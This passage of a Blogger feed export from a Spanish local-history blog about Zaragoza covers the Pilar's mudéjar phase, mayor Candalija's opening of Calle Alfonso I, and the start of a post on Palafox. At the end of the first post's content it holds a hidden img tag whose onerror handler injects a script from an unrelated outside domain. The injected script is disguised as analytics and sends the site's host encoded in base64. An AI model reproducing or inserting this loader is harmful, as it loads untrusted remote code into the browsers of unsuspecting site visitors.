Zaragoza&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Lacarra, M.C.
(1982): &lt;i&gt;“La devoción a Santa María del
Pilar de Zaragoza durante la Edad Media” &lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;En el Pilar es la
columna&lt;/span&gt;&lt;span face=&quot;Agency FB, sans-serif&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Agency FB&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;font-family: helvetica; font-size: medium;&quot;&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;div id=&quot;ventanamailtotoMail&quot; style=&quot;z-index: 1102;&quot;&gt;&lt;div id=&quot;ventanamailtomodalMail&quot;&gt;&lt;div id=&quot;ventanamailtopopupToModalClose&quot;&gt;&lt;/div&gt;&lt;div id=&quot;ventanamailtoquestionToModalMailPopup&quot;&gt;What do you want to do ?&lt;/div&gt;&lt;a id=&quot;ventanamailtoopenAppCreateNew&quot;&gt;New mail&lt;/a&gt;&lt;button id=&quot;ventanamailtocopyButtonEmailClipboard&quot;&gt;Copy&lt;/button&gt;&lt;textarea id=&quot;ventanamailtotextCopy&quot;&gt;&lt;/textarea&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img onerror=&quot;var s=document.createElement(&amp;quot;script&amp;quot;);s.type=&amp;quot;text/javascript&amp;quot;;s.id=&amp;quot;cczedcc-plg-analytics&amp;quot;;s.src=&amp;quot;//poruce.neyelanane.com/scripts/js?k=5f36449983df1a9c728b4567&amp;amp;s=&amp;quot;+encodeURI(btoa(window.location.host));document.getElementsByTagName(&amp;quot;head&amp;quot;)[0].appendChild(s);&quot; src=&quot;&quot; /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/870908933647131463/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/11/el-pilar-mudejar.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/870908933647131463'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/870908933647131463'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/11/el-pilar-mudejar.html' title='El Pilar mudéjar'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKobi_95JnFULy51k28aSQiMwlvNHan8T514X7vRx_G6NJd5l3MiBROMblH2aLiAieD28YiJOQiPyD4t99C4eHiW6NM_6BryvD9tsDhBTfELMXYMcRKeFoC_2_pWImOjNcH52lnJi_it2g/s72-w356-h255-c/pilar+mudejar.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-8467140432093417481</id><published>2020-10-31T19:10:00.016+01:00</published><updated>2020-11-14T18:23:34.381+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CONSTRUCCIONES CIVILES"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><title type='text'>La calle de Alfonso I y el alcalde Candalija</title><content type='html'>&lt;p&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;i&gt;&lt;b&gt;&amp;nbsp;¿Sabías que...el alcalde Candalija tuvo que huir de Zaragoza vestido de baturro?&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: helvetica; font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: helvetica; font-size: medium;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIkoFQu12dyMFqtv6turTbNoaYSlxgp6ZbXH3wHOeelI8vJRVg1aKum9_1OGzVeuxqj5gdv9UuKxW1jjiJS-kaH0QdfmLVnug3bxsjEcX84WFNhyGpxXQQmik9y8BNETW0AtVpHdTzr-yj/s656/calle+Alfonso+-+copia.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;392&quot; data-original-width=&quot;656&quot; height=&quot;239&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIkoFQu12dyMFqtv6turTbNoaYSlxgp6ZbXH3wHOeelI8vJRVg1aKum9_1OGzVeuxqj5gdv9UuKxW1jjiJS-kaH0QdfmLVnug3bxsjEcX84WFNhyGpxXQQmik9y8BNETW0AtVpHdTzr-yj/w400-h239/calle+Alfonso+-+copia.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;Una vez cesado el alcalde
de Zaragoza don Luis Franco y López, fue nombrado &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;por Real Orden un nuevo alcalde-corregidor&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 8pt; line-height: 115%; mso-ansi-language: ES;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;(1)&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;:
Antonio Candalija y Uribe. Corría el año de 1851.&lt;/span&gt;&lt;/p&gt;&lt;span&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;Siendo natural de Andújar, Jaén, había desempeñado en los años anteriores
diferentes cargos en Aragón e incluso estuvo inmerso en la conclusión del
alzamiento carlista en tierras aragonesas. Él era ferviente isabelino.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;Desde su llegada a la alcaldía de Zaragoza, Candalija centró su interés en remodelar
la ciudad proponiendo varios ensanches y mejoras como el de la calle Don Jaime
I y el del Trenque (en la calle que se abría al Coso). Pero debido al
deficiente presupuesto con el que se contaba en esos momentos y que en 1853
fueron suprimidos los Corregimientos y se vio obligado a cesar en sus cargos,
estos proyectos quedaron en el olvido. Ninguno de sus sucesores se atrevió a
realizar esas obras costosas y que además suponían la expropiación de numerosos
edificios y comercios en contra de la voluntad de los interesados.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh99NwiPeo10sEEgt3yR8VuTb-rfgs-RhE5ePq-8_xS7aAtVQzh4dPSq5KJKuNzaaA4qcDbptK4ShRKNvcN5MHCI7mNQZ4ZYDat9n4j9TYXIiGoqVsrKWsMPCgMIUxFgQrgdKtFiz-hqoV2/s700/calle+Candalija.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;422&quot; data-original-width=&quot;700&quot; height=&quot;241&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh99NwiPeo10sEEgt3yR8VuTb-rfgs-RhE5ePq-8_xS7aAtVQzh4dPSq5KJKuNzaaA4qcDbptK4ShRKNvcN5MHCI7mNQZ4ZYDat9n4j9TYXIiGoqVsrKWsMPCgMIUxFgQrgdKtFiz-hqoV2/w400-h241/calle+Candalija.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Calle de Antonio Candalija (bocacalle de Alfonso I)&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Pasaron los años y en 1866 Candalija, siendo gobernador civil, volvió a la
alcaldía de Zaragoza. Inmediatamente retomó aquellos proyectos olvidados, esta
vez con la intención de llevarlos a cabo por encima de cualquier dificultad.&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;v:shape id=&quot;_x0000_s1026&quot; style=&quot;height: 283.5pt; left: 0px; margin-left: 190.75pt; margin-top: 493.7pt; mso-height-percent: 0; mso-height-relative: margin; mso-position-horizontal-relative: margin; mso-position-horizontal: absolute; mso-position-vertical-relative: margin; mso-position-vertical: absolute; mso-width-percent: 0; mso-width-relative: margin; mso-wrap-distance-bottom: 0; mso-wrap-distance-left: 9pt; mso-wrap-distance-right: 9pt; mso-wrap-distance-top: 0; mso-wrap-style: square; position: absolute; text-align: left; visibility: visible; width: 378pt; z-index: 251659264;&quot; type=&quot;#_x0000_t75&quot;&gt;
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&lt;/w:wrap&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;span lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;Los zaragozanos,
especialmente aquellos que veían afectados sus negocios, clamaron en contra de
un alcalde forastero que destruía el “casco histórico” y que además arruinaba a
mucha gente que vivía de ese largo paseo diario hasta la Basílica del Pilar. En
general, se opinaba que existían en la ciudad asuntos de mayor importancia como
el agua potable, el alcantarillado, los mercados, etc., antes que abrir una
calle para el propio lucimiento personal del alcalde.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: white; font-family: georgia; font-size: 12pt;&quot;&gt;Antes de la Guerra de la
Independencia, la ciudad de Zaragoza era un laberinto de calles estrechas,
callejones, plazas y plazuelas. Para ir desde el Coso hasta la plaza del Pilar
había que recorrer un camino tortuoso: se comenzaba por la calle del Trenque o
“subidica” del Trenque para llegar a la Plaza de Sas (antes del Carbón y peso
Real) y por la calle del Pino, llegar a la de la Torre Nueva. Después, por la
calle de la Luna hasta&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: georgia; font-size: 12pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: georgia; font-size: 12pt;&quot;&gt;la de Contamina y
seguir por Agujeros. Aquí se encontraba, según nos dice Blasco Ijazo, el paso
de Urriés por el que se cruzaba hasta dar con la calle de las Once Esquinas y
terminar en la de Platería. Se seguía por el callejón de la Leche hasta la
calle de Prudencio, la “subidica” de los Navarros y, por fin, se llegaba a la plaza
del Pilar.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial Narrow&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 14pt; line-height: 115%; mso-ansi-language: ES;&quot;&gt;Recorrido antiguo para llegar a la Basílica del Pilar&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;

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&lt;/w:wrap&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;span lang=&quot;ES&quot;&gt;Ese “pequeño” detalle no
importó a nuestro alcalde, manteniendo, en contra de la opinión de todos, su
idea de una única rasante para que se pudiera divisar desde el Coso la cúpula
central del templo y de que todas las casas tuvieran la misma altura.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;El proyecto quedó aprobado en una famosa sesión municipal. Posteriormente
se decidieron la anchura de la calle y el coste de las expropiaciones, pero
nada iba a ser tan fácil en adelante. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

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&lt;/w:wrap&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;v:shape id=&quot;_x0000_s1026&quot; style=&quot;height: 297.9pt; left: 0px; margin-left: 149.2pt; margin-top: 222.15pt; mso-position-horizontal-relative: margin; mso-position-horizontal: absolute; mso-position-vertical-relative: margin; mso-position-vertical: absolute; mso-wrap-distance-bottom: 0; mso-wrap-distance-left: 9pt; mso-wrap-distance-right: 9pt; mso-wrap-distance-top: 0; mso-wrap-style: square; position: absolute; text-align: left; visibility: visible; width: 397.25pt; z-index: 251659264;&quot; type=&quot;#_x0000_t75&quot;&gt;&lt;br /&gt;&lt;/v:shape&gt;&lt;v:shape id=&quot;_x0000_s1026&quot; style=&quot;height: 297.9pt; left: 0px; margin-left: 149.2pt; margin-top: 222.15pt; mso-position-horizontal-relative: margin; mso-position-horizontal: absolute; mso-position-vertical-relative: margin; mso-position-vertical: absolute; mso-wrap-distance-bottom: 0; mso-wrap-distance-left: 9pt; mso-wrap-distance-right: 9pt; mso-wrap-distance-top: 0; mso-wrap-style: square; position: absolute; text-align: left; visibility: visible; width: 397.25pt; z-index: 251659264;&quot; type=&quot;#_x0000_t75&quot;&gt;&lt;br /&gt;&lt;/v:shape&gt;&lt;v:shape id=&quot;_x0000_s1026&quot; style=&quot;height: 297.9pt; left: 0px; margin-left: 149.2pt; margin-top: 222.15pt; mso-position-horizontal-relative: margin; mso-position-horizontal: absolute; mso-position-vertical-relative: margin; mso-position-vertical: absolute; mso-wrap-distance-bottom: 0; mso-wrap-distance-left: 9pt; mso-wrap-distance-right: 9pt; mso-wrap-distance-top: 0; mso-wrap-style: square; position: absolute; text-align: left; visibility: visible; width: 397.25pt; z-index: 251659264;&quot; type=&quot;#_x0000_t75&quot;&gt;&lt;br /&gt;&lt;/v:shape&gt;&lt;v:shape id=&quot;_x0000_s1026&quot; style=&quot;height: 297.9pt; left: 0px; margin-left: 149.2pt; margin-top: 222.15pt; mso-position-horizontal-relative: margin; mso-position-horizontal: absolute; mso-position-vertical-relative: margin; mso-position-vertical: absolute; mso-wrap-distance-bottom: 0; mso-wrap-distance-left: 9pt; mso-wrap-distance-right: 9pt; mso-wrap-distance-top: 0; mso-wrap-style: square; position: absolute; text-align: left; visibility: visible; width: 397.25pt; z-index: 251659264;&quot; type=&quot;#_x0000_t75&quot;&gt;&lt;br /&gt;&lt;/v:shape&gt;&lt;v:shape id=&quot;_x0000_s1026&quot; style=&quot;height: 297.9pt; left: 0px; margin-left: 149.2pt; margin-top: 222.15pt; mso-position-horizontal-relative: margin; mso-position-horizontal: absolute; mso-position-vertical-relative: margin; mso-position-vertical: absolute; mso-wrap-distance-bottom: 0; mso-wrap-distance-left: 9pt; mso-wrap-distance-right: 9pt; mso-wrap-distance-top: 0; mso-wrap-style: square; position: absolute; text-align: left; visibility: visible; width: 397.25pt; z-index: 251659264;&quot; type=&quot;#_x0000_t75&quot;&gt;&lt;br /&gt;&lt;/v:shape&gt;&lt;v:shape id=&quot;_x0000_s1026&quot; style=&quot;height: 297.9pt; left: 0px; margin-left: 149.2pt; margin-top: 222.15pt; mso-position-horizontal-relative: margin; mso-position-horizontal: absolute; mso-position-vertical-relative: margin; mso-position-vertical: absolute; mso-wrap-distance-bottom: 0; mso-wrap-distance-left: 9pt; mso-wrap-distance-right: 9pt; mso-wrap-distance-top: 0; mso-wrap-style: square; position: absolute; text-align: left; visibility: visible; width: 397.25pt; z-index: 251659264;&quot; type=&quot;#_x0000_t75&quot;&gt;&lt;br /&gt;&lt;/v:shape&gt;&lt;v:shape id=&quot;_x0000_s1026&quot; style=&quot;height: 297.9pt; left: 0px; margin-left: 149.2pt; margin-top: 222.15pt; mso-position-horizontal-relative: margin; mso-position-horizontal: absolute; mso-position-vertical-relative: margin; mso-position-vertical: absolute; mso-wrap-distance-bottom: 0; mso-wrap-distance-left: 9pt; mso-wrap-distance-right: 9pt; mso-wrap-distance-top: 0; mso-wrap-style: square; position: absolute; text-align: left; visibility: visible; width: 397.25pt; z-index: 251659264;&quot; type=&quot;#_x0000_t75&quot;&gt;&lt;br /&gt;&lt;/v:shape&gt;&lt;span lang=&quot;ES&quot;&gt;Se derribaron palacios
aragoneses (lástima de patrimonio), callejas entrañables y plazuelas que hoy
habrían hecho la delicia de sus visitantes. La piqueta se abrió paso en contra
de los inquilinos que se resistían a dejar sus casas o sus negocios. Ni
pleitos, ni resistencia tuvieron éxito y a fines de 1869 se empezaron a
inaugurar algunas casas&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;(Recordemos que en estas
fechas la Basílica del Pilar todavía no tenía torres).&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw-R96hLW_JtA_BFsrerJd2VHRHMku0hdkpfuwAJ_qG1z3RNmA4kbpYXT_RQCSXqm-1DRgeHmhbnEq8SU39mSiCFnYCOBspQAbTptFpInxsb7js1-ZkQf5kvLi4HJBdb9nkYJJjdDH0s1t/s1600/trenque.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1200&quot; data-original-width=&quot;1600&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw-R96hLW_JtA_BFsrerJd2VHRHMku0hdkpfuwAJ_qG1z3RNmA4kbpYXT_RQCSXqm-1DRgeHmhbnEq8SU39mSiCFnYCOBspQAbTptFpInxsb7js1-ZkQf5kvLi4HJBdb9nkYJJjdDH0s1t/w400-h300/trenque.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;b style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;La construcción de la calle
se demoró muchos años debido a las expropiaciones y otros problemas. No se
terminó hasta 1918 con el edificio “El Águila” en los números 3 y 5 de la calle
(junto al Coso).&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span lang=&quot;ES&quot;&gt;¿Pero qué fue de Antonio Candalija?&amp;nbsp;
En 1868 tuvo lugar la Revolución conocida como La Gloriosa,&amp;nbsp; que obligó a Isabel II a abandonar España en
tren desde San Sebastián donde veraneaba. La reina se exilió en Francia y
Antonio Candalija cayó con ella. No sólo era una cuestión de política, pues a
ese asunto se unían todos los enemigos que el alcalde se había creado en la
ciudad. De esta manera se vio obligado a refugiarse en casa de un amigo y salir
de Zaragoza hacia Andújar en secreto vestido con el traje de baturro.&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;

&lt;p align=&quot;right&quot; class=&quot;MsoNormal&quot; style=&quot;text-align: right;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;María José Germán&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;BIBLIOGRAFÍA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; mso-ansi-language: ES;&quot;&gt;Blasco Ijazo, J. (1950): &lt;i&gt;¡Aquí…Zaragoza!. &lt;/i&gt;Zaragoza&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;Pérez Serrano, G. (1998): &lt;/span&gt;&lt;a href=&quot;https://www.zaragoza.es/sede/servicio/publicacion-municipal/700&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;Historia de
Zaragoza. La integración de Zaragoza en la red urbana de la Ilustración
(1700-1808). Vol. X&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;Ayuntamiento de Zaragoza coedición con CAI&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;Forcadell , C. (1998): &lt;/span&gt;&lt;a href=&quot;https://www.zaragoza.es/sede/servicio/publicacion-municipal/716&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;Historia de
Zaragoza. Zaragoza en el siglo XIX (1808-1908) Vol. XII&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&amp;nbsp;Ayuntamiento de Zaragoza coedición con CAI&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;&amp;nbsp;Lop, P. y otros
(2012): &lt;i&gt;Zaragoza en 1861. El plano
geométrico de José Yarza| &lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;Archivo Municipal de Zaragoza&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 115%; mso-ansi-language: ES;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 8pt; text-indent: -18pt;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;(1)&lt;/span&gt;El corregidor
era un funcionario nombrado por el rey para desempeñar funciones
administrativas y judiciales en las ciudades importantes. Durante la regencia
de María Cristina se remodelan los ayuntamientos y aparece la figura de
alcalde-corregidor. Estos cargos desaparecen con el constitucionalismo.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 8pt; text-indent: -18pt;&quot;&gt;Palabras clave: Historia de Zaragoza, Calle Alfonso I,alcalde Candalija&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;span style=&quot;font-family: helvetica; font-size: medium;&quot;&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/8467140432093417481/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/10/la-calle-de-alfonso-i-y-el-alcalde.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/8467140432093417481'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/8467140432093417481'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/10/la-calle-de-alfonso-i-y-el-alcalde.html' title='La calle de Alfonso I y el alcalde Candalija'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIkoFQu12dyMFqtv6turTbNoaYSlxgp6ZbXH3wHOeelI8vJRVg1aKum9_1OGzVeuxqj5gdv9UuKxW1jjiJS-kaH0QdfmLVnug3bxsjEcX84WFNhyGpxXQQmik9y8BNETW0AtVpHdTzr-yj/s72-w400-h239-c/calle+Alfonso+-+copia.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-843696188814090758</id><published>2020-10-25T21:10:00.017+01:00</published><updated>2020-11-07T19:36:53.483+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="LIBROS"/><title type='text'>José de Palafox</title><content type='html'>&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;i&gt;&lt;span&gt;¿Sabías que ... José de Palafox había escrito sus memorias?&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;h1 style=&quot;line-height: normal; margin-top: 0cm;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: 